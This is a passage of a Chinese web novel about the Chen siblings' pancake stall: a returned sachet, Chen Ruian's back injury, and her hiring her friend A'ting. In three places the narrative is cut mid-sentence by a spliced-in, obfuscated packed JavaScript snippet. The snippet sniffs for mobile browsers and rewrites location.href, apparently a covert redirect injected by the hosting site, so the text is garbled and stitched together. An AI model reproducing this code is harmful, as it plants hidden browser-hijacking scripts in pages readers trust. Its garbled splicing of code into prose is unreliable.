不少老顾客，平日里就爱同陈瑞安聊两句天的，今日见她没来，少不了要问两句。陈瑞平只能一边忙着手上的活儿，一边耐心地向他们解释妹妹的情况。 忙起来的时候，同时有好几个客人在和陈瑞平说话，他也不敢有丝毫怠慢，只得一个个地答过去。 一个早上匆匆过完，他早已忙得精疲力尽，脑子同浆糊一般，连思考的力气都没有了。 待到街上的人终于少了下来，摊位前难得地清净了一会儿，那只藏在怀里的香囊，才又一次占据了他的思绪。 按理说，乔氏麻花店就在小摊的对面，不过是抬脚的距离，十分便利，他早该主动把香囊归还给乔秀珠才对。 可是，要独自离开摊位去找乔秀珠，他不知道该怎么跟妹妹解释。 其实，拾到别人的东西，再物归原主，这是再正常不过的事了，有什么难以启齿的呢？ 无非是他心自己虚罢了。 又或者，其实在他内心深处，根本就不想将这只香囊归还回去。 那日榕树巷里，雪光映着霞光，他和乔秀珠两人并排走着，不说话，就十分美好。 这只香囊是唯一的见证。 他像是刻舟求剑的故事里的那个人，固执地以为，凭着这只香囊，好像就还能回到当时梦境般的场景。 忽然，陈瑞平清醒过来，懊恼地拍了拍自己的脑袋。 不，不行。陈瑞平，你怎么这么糊涂？ 乔秀珠是一个未出嫁的大姑娘，她的香囊，落在他这样一个年轻男子的手里，这算怎么回事？倘若被人发现了，岂不是有损乔姑娘的名声！ 即使不叫外人知道，不也太不尊重、太亵渎了乔姑娘吗？ 那日他的冒失，或许已经对乔秀珠造成了困扰，他又岂能能一错再错，为了满足自己那一点点私心，继续将香囊留在自己手中！ 不行，必须把香囊尽快归还给乔秀珠，不能再让她为此而担忧。 他深吸一口气，立马收了摊子，向乔氏麻花店走去。 偏巧，就在他进麻花店的前脚，店里正好来了两个客人。 乔秀珠正娴熟地招待客人，忽然瞥见陈瑞平进来，便分出神来问他：“诶，是你？有什么事情吗？” 陈瑞平当着人，总不能说自己是来还香囊的，一时嗯嗯啊啊答不出来。 反倒是乔秀珠，自小就长在店里，同鱼龙混杂的客人打着交道，练出一副好眼力见。 她一眼就看出了陈瑞平的尴尬，也没有多问，只是温声叮嘱他道：“你稍等，我忙完就过来。” 陈瑞平感激地看了乔秀珠一眼，点了点头，静静候在一旁。 然而这一大早，也不知怎么的，麻花店生意竟格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256377|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外好。这几个客人还没走，竟又陆陆续续地进来了一批客人。 陈瑞平还急着收摊回家，再去衙门上差。时间一分一秒地过去，他不由得搓手跺脚，显出些焦急之态。 他正低着头盘算，一会儿去衙门，迟到了该怎么解释，不料一抬头，乔秀珠竟已站在面前。 乔秀珠道：“我让他们自己先随便看看了。你快说吧，别耽误你的差事。” 陈瑞平慌乱地掏出香囊，道：“乔姑娘，这个……这个是你的香囊吧，之前我捡到了，一直想着要还给你，拖到现在，实在对不住。” 他紧张得声音有些颤抖，双手托着，把香囊递了过去。 “什么乔姑娘，听着多怪！叫我秀珠就好。”乔秀珠借过香囊，忍不住笑出声来，“原来是你捡到了，我还以为丢了呢。多谢。” 还完香囊，陈瑞平还没有离开的意思。乔秀珠疑惑道：“还有什么事么？” 陈瑞平深吸了一口气，鼓起勇气道：“那日……是我太冒失了。如果冒犯了你，请你见谅。” “什么冒失？哪日？”乔秀珠歪着头，看起来很困惑。 陈瑞平支支吾吾了半晌，好不容易挤出几个字：“就……那日！在我家巷子里。” “我去你家拜年那日？那日怎么了？” 陈瑞平实在说不出口，脸涨得通红。 “噢！我想起来了。”乔秀珠突然恍然大悟。 陈瑞平没有如释重负，反而更紧张了，简直想找个地缝钻进去。 乔秀珠却道：“完全不冒犯呀，你怎么会这么想？其实……我很感激。” 陈瑞平的眼睛顿时亮起来。他张了张嘴，还想说点什么，可那边几个客人已经挑好，喊乔秀珠过去：“老板，这个帮我称一斤。” 乔秀珠于是叫他回去路上小心，转身先去忙了。 陈瑞平心里荡起了层层叠叠的涟漪。 他挑着挑子回家，一路上竟也不觉得担子重了，整个人有些飘飘然，仿佛踩在云端。 这厢，陈瑞平这个干活儿的不觉得累；那厢，陈瑞安那个在家躺着的，却过得百无聊赖，恨不得马上康复，好继续去挣钱。 陈瑞安在床上躺了区区半天，已经感到度日如年了。 她闲不住，找来算盘，在床上练手；练着练着，忽然灵机一动，想到可以把自己这些天的账目拿来实践一番。 于是，她全神贯注地算起来，可没算多久，就被张金花发现了。 张金花把她的算盘夺走：“说了不要侧躺不要侧躺——你现在是病人，需要静养！不许再看这些了。” “那我干什么啊？我已经睡了这么久，再睡也睡不着了。”陈瑞安叫苦不迭。 “你什么也不干，就躺在这里，发发呆、听听鸟叫，不行吗？”张金花反问。 陈瑞安竖起耳朵仔细听了听，没听见鸟叫，只听见鸡叫。 说到鸡—— “我不在，青青肯定整天就惦记着跟她那只鹅玩了。” 张金花恨铁不成钢，拿账本敲她脑袋：“你真是没有享福的命！” 22. 不会带团队，你就只能干到死 在整整听了五天鸟叫之后，陈瑞安终于忍无可忍，一骨碌从床上爬起来，宣布自己已经完全康复，要复工了。 对于这一决定，爹娘奶奶自是十分不赞同。 几人轮番上阵，纷纷用上了“过来人的经验”，苦口婆心劝她再多歇几天，落下病根可不是好玩的。 陈瑞平也不希望妹妹这么快复工，倒不只是因为顾念她的身体。 妹妹不在的这几天里，他每天摆摊累归累，但却有一样好处。乔秀珠惦念陈瑞安的病情，几乎每日都要到摊前来问一问。 因此，陈瑞平也就每天都有了同乔秀珠说两句话的机会。哪怕只是几句再简单不过的寒暄，也足够他一天到晚地傻乐了。 要是从前，照这样一比四的局面，陈瑞安想做的事是绝对做不成的。 但自从开始卖酱香饼、为家中带来最主要的经济来源后，陈瑞安俨然成为了家里的大功臣，家庭地位可以说是一飞冲天，说话变得十分有分量。 一家人饶是再不支持，也抵不过陈瑞安铁了心，也只好由着她去。 然而，无情的现实证明，不听老人言，吃亏在眼前。 仅仅是摆了一天的摊、上了一天的班，陈瑞安的腰就故态复萌，又下不来床了。 家里忙不迭帮她叫了郎中来看。 陈瑞安一瞧，嘿，巧了，这不就是上次那个差点用贵膏药骗了她钱的郎中吗？ 郎中唉声叹气地检查了一番。 陈瑞安上次去看这位郎中的时候，他就爱发出奇怪的声音，因此陈瑞安不以为意，认为郎中是想夸大病情以骗钱。 “很严重吗？”陈瑞安开着玩笑，“难道我以后都要残疾了？” 郎中板着脸不语。 “大夫，您倒是说句话呀？”陈瑞安有点害怕了。 郎中捋着胡子，不紧不慢地道：“这病，老夫治不了啊。” 陈瑞安大骇：“真的假的？不至于吧？” “假的。”郎中翻个白眼，没好气地道，“我怎么说的？卧床卧床，最起码要七天。像你这样不遵医嘱的病人，叫我怎么治？我就是开多好的药给你也没有用！” 陈瑞安自知理亏，只好低头认错。 郎中又教训了她一顿后，给她施了针，再次千叮咛万嘱咐，这次一定要躺满半个月，这才走了。 七天变半个月，陈瑞安偷鸡不成蚀把米，白白多受十几日罪，很是后悔。 张金花犹数落她：“我当初就说了，叫你好好躺着，不要心急，你就是不听。怎么样，我没说错吧？” 陈瑞安嘴硬道：“那我干这一天还是有作用的，至少紧了紧青青的弦。而且，我今天去摊上，好有好几个客人关心我呢，我这不也维护了下客户关系嘛。” “什么客户关系，你哥在，不也一样吗？” 陈瑞安皱着鼻子看了一眼哥哥，却发现他脸上带着一种奇异的笑容，看起来心情格外好。 陈瑞安奇道：“陈瑞平，我要卧床修养，你怎么看起来很高兴的样子？” 陈瑞平试图把嘴角的笑压下去，可是怎么也压不下去，只好睁眼说瞎话：“不高兴，我特别伤心。” 就是呈现出来的效果很像阴阳怪气。 倒是爹，见陈瑞安无精打采的样子，主动提出要待在她的房间，陪她说说话解闷。 爹如今好多了，大顺帮忙给他做了张中空的椅子，他躺得累了，起来在这张椅子上坐大半个时辰，也不会觉得有什么不舒服。 爹道：“你瞧瞧，急着干活儿，结果还得歇更多时间，多亏！爹做了这么多年的生意，告诉你一个真理——身体是最大的本钱。” 陈瑞安还是有些郁闷：“那也得动起来，本钱才能变成真钱吧？我哥他一个人，虽然也能干，但是您看账本，比从前两个人一起干的时候，要少挣不少呢。” 爹来了兴致，果真拿过账本来看。 “也不是很多嘛。大概少……二成吧。” “二成多呢！”陈瑞安想起来都心痛。 一天少赚六十文，一个月可就小两千了！ 爹想了想，问：“那少这二成多的原因是什么呢？” 陈瑞安其实早就自己分析过，被爹这么一问，立即娓娓道来：“最主要的原因是速度。一方面，哥他现在一人兼管出餐和招待，肯定比两个人分工要慢。另一方面呢，哥他煎饼的时间短，速度要本来就比我慢一些。 “哥招待客人不如我，也许也有一些关系。但我们酱香饼的生意其实已经很稳定了，大部分都是回头客，所以应该影响不大。” 爹听了陈瑞安的分析，只觉十分清晰明了，赞许地点点头：“说得很好。那你有没有考虑过，留你哥一个人做酱香饼，你去做其他的营生？酱香饼没了你，只损失二成生意的话，那你去另起一个别的摊子，收益会更高。” 陈瑞安扁扁嘴，道：“我其实也想过。但最终没有做呢，原因有三。第一，酱香饼摊的生意从第一天就很好，这有运气的成分。我另起一门生意，又要再投入钱，又不一定能成功。” 爹插嘴道：“没有投入、没有风险，也就不会有回报。你开始卖酱香饼的时候，也是带着这样的魄力去做的。” “……嗯，您说得对。”陈瑞安仔细回忆了当时的心态，“但是那时候实在太缺钱了，我想着总得找点出路嘛，做就做了，没想那么多。” 爹笑道：“这是什么道理，手里有点钱了，反而怕亏了？” 陈瑞安想了想，也觉得有些荒谬，不由得也跟着笑了：“还有第二第三个原因呢。第二，我们现在出摊，在早高峰的时间点，客人几乎是没有断过的。 她道：“我觉得，我们还没有发掘出酱香饼摊的最大潜力，总觉得有些亏。 “我想着等我做得更熟练，速度更快了，大概能摸索出已经做到顶了，再想其他的。” 爹示意陈瑞安先暂停，又提出了自己的观点：“目前限制你们产量的，不是速度，而是设备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271679|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀！负责招待的那个人，手里是闲着的，这个人就没有得到充分利用。如果增加一口锅，那就可以一个人看着两口锅煎饼，另一个人切饼、招待，这样才是最快的。” 陈瑞安立马发现了不可行之处：“但锅和炉子很重！我们两个人，带不动那么多东西。” “你之前不是设计了一辆车么？用那个推，总推得动吧？”爹曾经看过那张餐车的设计图，很是欣赏。 陈瑞安苦笑道：“但做一辆车出来很贵。万一做出来，发现其实生意又没有好到需要两口锅，岂不是很亏。我想着，靠我先摸索，总归更便宜些。” 爹摇摇头，道：“什么是‘顶’，这是摸索不出来的。生意场上瞬息万变，今天你的酱香饼受欢迎，明天别人又出了一个更受欢迎的，不就马上有变化了吗？ “做生意，最要紧的是机遇。趁时机最好的时候，进场去赚一笔；不好了，不要恋战，立马就出来，去寻找下一个时机。 “死守着一样生意，那就不叫商人，叫贩夫走卒了。” 陈瑞安很无语：“……爹，我就是个摆摊的，我本来就是贩夫走卒。” 爹尴尬地笑了两声：“……呵呵，你将来会是很厉害的大商人的，呵呵。” 爹说的都有道理，但是要掏钱，陈瑞安还是有些迟疑，因此她继续表述她的第三点原因。 “第三，对于一个小摊来说，虽然两个人稍稍有点浪费，但一个人又实在太少了，做起来会很累。我看哥这几天，好像都瘦了。” 爹道：“那是因为你们两个都在同时做两份活儿。如果一个人只做酱香饼卖，不干别的，一个人手就足够了。” 但是陈家兄妹的工作都算是好工作，也无法割舍，只好把两个人拼起来，当一个人用。 一番谈话下来，爹得出了结论：“我建议你们，雇个人吧。每天只做辰时一个时辰，工钱不会高。要赚回工钱的本，绰绰有余。” 陈瑞安前世的爸妈是做的是卖早点这种小本生意，他们秉持着一个始终深深影响着陈瑞安的观点—— “工钱再少，总归是给别人了。自己干了，不就赚到自己手里了吗？” 爹叹气道：“你这么聪明的人，怎么想不通这么简单的道理？煎饼这样简单的事情，只要肯学，谁都能做；但你有一颗天生适合做商人的头脑，这才是独一无二的。 “小安，你靠你的头脑，把这一个时辰花在别的事情上，就能撬动比这大得多的财富。如果你硬要赚这点小钱，那你能得到的就只有——” 爹摊着手，指了指陈瑞安的身下的床：“一个坏掉的腰。” 陈瑞安想起了后世一本书的书名：《不会带团队，你就只能干到死》。 两人身残志坚，促膝长谈，均感到颇受益。 爹不愧是做了一二十年生意的商人，经验丰富而有全局观，分析鞭辟入里。 陈瑞安听得热血沸腾，说干就干，立马拿起纸笔，重新规划起自己的小生意来。 23. 雇工 从前定做挑子的时候，做木匠的大顺爹，曾经给陈瑞安设计的餐车报过价。据他所说，哪怕用最便宜的木料和五金件，只算成本价，一辆车最最起码也要花费五两银子。 这可真真不算是笔小钱了！ 且不说陈瑞安一时半会儿拿不出这么多钱，就算能咬咬牙凑出来，这也是个需要反复斟酌、仔细考量的金额。 毕竟每一分钱都来之不易，必须得花在刀刃上。 更何况，如果要在餐车上再加一口锅的话，势必会用到更多的木料，对轮子的承重要求也更高。这样一来，价格一定还要更贵。 如果有这个钱，租个偏僻一些的门面都足够了。 划不来，实在划不来。 省钱是催生智慧的最大动力，陈瑞安想了一个折中的法子——不如再做半副挑子，只做有锅的那一半就行。 这样一来，既能满足增加一口锅的需求，造价也要低多了。 至于抬不动么，陈瑞安也想出了应对之策。 她打算连着原来那副挑子一起，寄存在乔秀珠家的麻花店里。 麻花店与小摊一路之隔，每日早晨抬过来、收摊了再抬回去，比起从家里大老远地挑过去，可省力太多了。 这样，需要每日从家里带过去的，只有饼胚、要烧的炭和酱料等零碎小玩意儿。咬咬牙，一个女孩子也独自做得到。 麻花店只有临街的部分是用来做生意的铺子，后面则是仓库、工坊，还有乔家一家人的住宿之处。 陈瑞安虽然不曾进去过，但也可以猜想，地方不会太小。 只要她给出的租金合适，应该好谈。 挑子占地很小，要支付的租金想必也不会太高，可以负担得起。 至于开拓新生意的事情……陈瑞安想了想，觉得确实可以再干点别的卖卖。 最好是那种小本经营的生意，这样即使没有成功，也不至于损失太多本钱。而且，考虑到她的身体状况，新的生意最好能相对轻松些，对她的腰比较友好。 只是一时之间，她还没有什么特别好的灵感。正好趁她在家养伤，有大把空闲的时间，可以好好想一想，从长计议。 雇人的事情，倒是可以提上日程了。 以现在的状况，即使等她的腰康复了，恐怕最好也不要每天站着卖酱香饼了。、 陈瑞安不熟练地打着算盘，仔仔细细地算了一笔账。要找一个每天早上一个时辰的兼职，假设一天付出去二十文钱的工钱。照目前的生意状况，大约能收回五十八文的的利润。 净利润不算太多，但蚊子肉也是肉，总比没得赚好。 再说，如果寄存挑子的事情顺利，多添了一口锅，还有更大的盈利空间。 那么，应该雇谁呢？ 其实二十文的薪水放出去，愿意干的人应该有一大把。但知根知底的人，总归更好用。 陈瑞安心里有了人选——阿亭。 又老老实实卧床修养了几日，照郎中的嘱托，陈瑞安依然不能久坐、久站，但起来走动走动、串串门，还是可以的。 得了张金花勉为其难的许可，准她在巷子里放放风，陈瑞安第一件事，便是溜去了阿亭家。 阿亭正在帮她娘清理做豆腐的种种工具，抬头见陈瑞安来了，顿时露出甜美的笑容，很是高兴。 “小安！你怎么来了，腰好些了吗？”阿亭关切地问。 她时不时会去陈家探望这个小伙伴，但毕竟撂不开家务，往往没多久就要回家，总不能聊尽兴。 陈瑞安摆摆手示意自己没事，搬了椅子坐下，道：“好多了，但他们还只准我一天起来走半个时辰，愁死我了。我实在是闲不住，总想找点事情做。” 洗东西倒不急在一时，阿亭索性放下了手里的活儿，擦了擦手，走到陈瑞安身边坐下。 “你真该好好歇一歇才是。自从陈伯伯出事，我看你忙得脚不沾地，人都瘦了一大圈。我有时在巷子里看见你，都不忍心同你打招呼，怕耽误了你的事情，害你没得休息。” 阿亭仔细端详着陈瑞安的脸，隐约感觉养白了些、胖了些，这才满意。她知道陈瑞安这段时间为了家里的事情付出了太多，实在辛苦，不由心疼。 陈瑞安自然能领会阿亭的情谊，只是时间紧迫，顾不上寒暄。 她匆匆组织了下语言，开口道：“阿亭，郎中叮嘱我，千万不要久坐、久站，说这些太伤腰。可你也知道，我家现在卖酱香饼，做饼、熬酱、看摊，实在是不站不行。所以我想了想，打算雇一个人，看能不能代替我，每天早上同我哥一起去照看摊子。” 院子里阳光灿烂，阿亭洗过的棉布正晾晒在一旁，白得发光。那些做豆腐用的棉布，日复一日，浸透了豆浆里的油脂，时间一久，难免发黄发黑。阿亭有心，把草木灰、淘米水、无患子等等清洗材料，她试了个遍，又使力揉搓，凭着努力和耐心，把棉布洗得洁白如新。 阿亭做事仔细、用心，人品既可靠，模样又乖巧，邻里街坊没有不喜欢她的。 陈瑞安相信，阿亭一定能做好这份工作。 还没等她邀请，阿亭已经抢先一步道：“小安，你找到合适的人选了吗？没有的话，我想试一试。” 阿亭目光坚定，语气间透着一股果敢和自信，平日里的腼腆羞涩竟烟消云散，陈瑞安一时怔住。 “只需要早上去看摊子，对吧？那时候，我弟弟还没醒，我正好有空。我会做饭，力气也大，我能做好的。”阿亭语气笃定地道，眼中闪烁着渴望。 阿亭的弟弟阿力如今五岁多了，虽然不必不错眼地盯着，但毕竟还小，也还没到能放出去整日乱跑的年纪，还是得时时有人看着。 陈瑞安回过神来，忙不迭地点头道：“没错，没错。每日辰时略早些开始，加上来回的时间，刚好一个时辰。工作内容也不难的，无非是煎饼、切饼、招待客人这些活儿。交给你，我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351373|164203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定放心。” 阿亭听了，微微松了口气，高兴地道：“那太好了。小安，真谢谢你。你不知道，我看着你的样子有多羡慕，我多想像你一样出去挣钱。这下，总算能让我娘压力小一些了。” 前两年，陈瑞安教了阿亭娘促销方法后，阿亭娘的生意愈发好了，如今已经有了不少熟客，只认准她家的豆腐买。粮荒过后，阿亭娘也渐渐攒了些钱下来。只是，阿力慢慢大了，她心里盘算着，想多攒些钱，等过几年供阿力读书识字，这样将来阿力的路也能更宽一些。因此，阿亭娘做豆腐做得更加卖力。阿亭懂事，总想着替她分担。 陈瑞安这才想起，薪水的事还没提呢。 她原本计划给的是每日付给雇工二十文钱，可看阿亭刚才的意思，大有尽数上交给她娘之意。 她便留了个心眼，道：“是我谢谢你才对，帮我解决这么大一桩难题。对了，每日的工钱是十八文钱，每个月月底结算。你哪日若是有事来不了，提前告诉我一声，我去顶上就是了。” 阿亭已经很满意，眉开眼笑道：“我们家人食量小，这都够我们家一天的买菜钱了。小安，我真的很高兴。” 吃完饭时，陈瑞安把雇来阿亭帮忙的事告诉了家人。 张金花和奶奶都很高兴，都说阿亭是个好孩子，绝对错不了。 反倒是陈瑞平有些迟疑，问道：“那我跟阿亭，谁负责煎饼，谁负责招待客人呢？” “废话，难道指望你招待客人？”陈瑞安朝哥哥翻了个白眼，“我想好了，阿亭收钱找钱，你安心煎饼就是。阿亭没学过算术，好在我们的帐也简单，她有不会的，你帮一帮，我有空也教一教她。” 陈瑞平固然有些怕从此失去与乔秀珠独处的机会，却也是真心有些担忧。 他道：“阿亭的个性，同我倒有些像，不爱说话。她年纪又小，又是女孩儿，能行吗？” 张金花冷笑一声，道：“阿亭可比你有用多了！早几年，阿亭爹刚走的时候，留下来一屁股债。阿亭娘又早出晚归地卖豆腐赚钱，你当那些债主是靠谁打发走的？阿亭！” 奶奶也赞同地点点头：“真是好孩子。那么大丁点儿的小人，搭着凳子够灶台，给债主们做饭。债主吃饱喝足了，她就扑通一声跪下，硬把弟弟往他们怀里塞，一把鼻涕一把泪的，求他们把弟弟带走抵债。那谁敢要！只好灰溜溜地跑了。” 陈瑞平听得咂舌，心服口服。 他当时在学堂上学，没人同他八卦这些，陈瑞安却是知道这事的。 阿亭把债主伺候走了，她和大顺来找阿亭玩，阿亭不肯叫他们担心，小脸一抹，没事儿人似的，笑眯眯地问他们去哪玩儿。 如今，阿亭一家总算能过上些好日子了，大家都有些感慨。 能为小伙伴提供一个赚钱的机会，陈瑞安有些小自豪，也更期盼把生意做大一些。 翌日，阿亭娘却来了陈家，说是不同意阿亭去卖酱香饼。